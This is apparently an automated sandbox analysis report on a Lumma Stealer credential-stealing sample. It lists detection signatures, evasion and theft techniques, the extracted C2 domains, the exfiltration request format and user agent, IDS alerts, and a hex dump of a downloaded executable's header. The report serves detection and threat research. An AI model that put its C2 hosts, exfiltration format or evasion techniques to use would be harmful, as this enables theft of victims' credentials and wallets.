Edit tour

Windows Analysis Report
GxX48twWHA.exe

Overview

General Information

Sample name:	GxX48twWHA.exe renamed because original name is a hash value
Original sample name:	f0ae755fcf9bfc54922b2076d228e957.exe
Analysis ID:	1580938
MD5:	f0ae755fcf9bfc54922b2076d228e957
SHA1:	0679f052acf0f7430dffc695a935733034178951
SHA256:	79199beaba9c2e9403206335351595fbb628ea31123410da52e4c0358a0a9e63
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

GxX48twWHA.exe (PID: 6284 cmdline: "C:\Users\user\Desktop\GxX48twWHA.exe" MD5: F0AE755FCF9BFC54922B2076D228E957)

chrome.exe (PID: 6424 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6212 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1980,i,10270169836540111094,11000542217365241876,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7504 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7692 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1980 --field-trial-handle=1904,i,2015281234789072614,15298552563743304732,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["bashfulacid.lat", "slipperyloo.lat", "tentabatte.lat", "wordyfindy.lat", "observerfry.lat", "shapestickyr.lat", "talkynicer.lat", "curverpluch.lat", "manyrestro.lat"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1907811909.0000000001331000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1907751642.0000000001382000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1907970052.0000000001343000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: GxX48twWHA.exe PID: 6284	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: GxX48twWHA.exe PID: 6284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: GxX48twWHA.exe PID: 6284	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: GxX48twWHA.exe PID: 6284	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:16.920035+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.102.49.254	443	TCP
2024-12-26T13:22:19.469122+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.66.86	443	TCP
2024-12-26T13:22:21.560114+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.66.86	443	TCP
2024-12-26T13:22:24.113701+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.66.86	443	TCP
2024-12-26T13:22:27.017735+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.66.86	443	TCP
2024-12-26T13:22:29.508133+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	104.21.66.86	443	TCP
2024-12-26T13:22:31.969982+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	104.21.66.86	443	TCP
2024-12-26T13:22:34.562470+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.66.86	443	TCP
2024-12-26T13:22:40.687229+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:20.220179+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.66.86	443	TCP
2024-12-26T13:22:22.357768+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49732	104.21.66.86	443	TCP
2024-12-26T13:22:41.460782+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49744	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:20.220179+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49731	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:22.357768+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49732	104.21.66.86	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:43.008408+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49745	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bashfulacid .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:15.147776+0100	2058480	1	Domain Observed Used for C2 Detected	192.168.2.4	53582	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curverpluch .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:14.795575+0100	2058484	1	Domain Observed Used for C2 Detected	192.168.2.4	61946	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (manyrestro .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:14.317637+0100	2058492	1	Domain Observed Used for C2 Detected	192.168.2.4	61772	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shapestickyr .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:14.458096+0100	2058500	1	Domain Observed Used for C2 Detected	192.168.2.4	61496	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (slipperyloo .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:14.175337+0100	2058502	1	Domain Observed Used for C2 Detected	192.168.2.4	51044	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (talkynicer .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:14.597098+0100	2058510	1	Domain Observed Used for C2 Detected	192.168.2.4	64124	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tentabatte .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:15.007480+0100	2058512	1	Domain Observed Used for C2 Detected	192.168.2.4	54442	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wordyfindy .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:14.034061+0100	2058514	1	Domain Observed Used for C2 Detected	192.168.2.4	63730	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:32.770814+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49740	104.21.66.86	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:17.784285+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: GxX48twWHA.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/c	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apiPL	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/t.com1	Avira URL Cloud: Label: malware
Source: https://manyrestro.lat:443/api	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/O	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com:443/apic	Avira URL Cloud: Label: malware
Source: https://bashfulacid.lat:443/apiX	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/ess	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com:443/apin.txtPK	Avira URL Cloud: Label: malware
Source: https://shapestickyr.lat:443/api	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/m0#	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apieiwp~	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apik	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com:443/api-	Avira URL Cloud: Label: malware

Found malware configuration

Source: GxX48twWHA.exe.6284.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["bashfulacid.lat", "slipperyloo.lat", "tentabatte.lat", "wordyfindy.lat", "observerfry.lat", "shapestickyr.lat", "talkynicer.lat", "curverpluch.lat", "manyrestro.lat"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: GxX48twWHA.exe	Virustotal: Detection: 52%			Perma Link
Source: GxX48twWHA.exe	ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: GxX48twWHA.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: observerfry.lat
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: GxX48twWHA.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49744 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: GxX48twWHA.exe, 00000000.00000002.2177427446.0000000006412000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058500 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shapestickyr .lat) : 192.168.2.4:61496 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058510 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (talkynicer .lat) : 192.168.2.4:64124 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058492 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (manyrestro .lat) : 192.168.2.4:61772 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058484 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curverpluch .lat) : 192.168.2.4:61946 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058514 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wordyfindy .lat) : 192.168.2.4:63730 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058480 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bashfulacid .lat) : 192.168.2.4:53582 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058502 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (slipperyloo .lat) : 192.168.2.4:51044 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058512 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tentabatte .lat) : 192.168.2.4:54442 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49730 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49740 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49744 -> 104.21.66.86:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: manyrestro.lat

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 26 Dec 2024 12:22:41 GMTContent-Type: application/octet-streamContent-Length: 2801664Last-Modified: Thu, 26 Dec 2024 11:19:36 GMTConnection: keep-aliveETag: "676d3bc8-2ac000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 c5 4d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 74 77 78 76 6c 65 6c 00 40 2a 00 00 a0 00 00 00 32 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6e 6c 62 78 68 75 6e 00 20 00 00 00 e0 2a 00 00 04 00 00 00 9a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 9e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49745 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.58.101
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.58.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.58.99
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.58.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
